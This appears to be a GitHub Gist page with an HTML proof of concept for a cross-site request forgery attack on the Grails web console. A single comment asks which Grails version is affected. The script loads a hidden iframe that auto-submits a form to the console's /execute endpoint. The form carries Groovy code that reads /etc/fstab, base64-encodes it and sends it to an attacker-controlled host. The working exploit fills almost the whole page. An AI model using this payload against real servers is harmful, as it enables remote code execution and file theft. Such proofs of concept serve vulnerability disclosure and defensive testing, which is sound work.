Created
August 8, 2016 13:17
-
-
Save berdario/3a64eb89d8cd51ffa5a6bb60c0090b24 to your computer and use it in GitHub Desktop.
Grails console CSRF proof of concept
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<script> | |
consoleUrl = 'https://victim.example.com/path/to/console' | |
attackerHost = 'http://localhost:7979/' | |
code = `new URL('${attackerHost}'+new File('/etc/fstab').bytes.encodeBase64()).getText()` | |
code = `evaluate new String('${btoa(code)}'.decodeBase64())` // optional, useful to transmit the payload as a GET argument | |
function newFrame(content){ | |
let frame = document.createElement('iframe') | |
frame.srcdoc = content | |
frame.style = 'visibility:hidden' | |
document.body.appendChild(frame) | |
} | |
rce = ` | |
<html> | |
<body onload="document.getElementById('do_submit').click()"> | |
<form id="f1" method="GET" action="${consoleUrl}/execute"> | |
<input name="autoImportDomains" value="true"> | |
<input name="code" value="${code}"> | |
<input type="submit" id="do_submit"> | |
</form> | |
</body> | |
</html>` | |
newFrame(rce) | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
What version of Grails does this affect?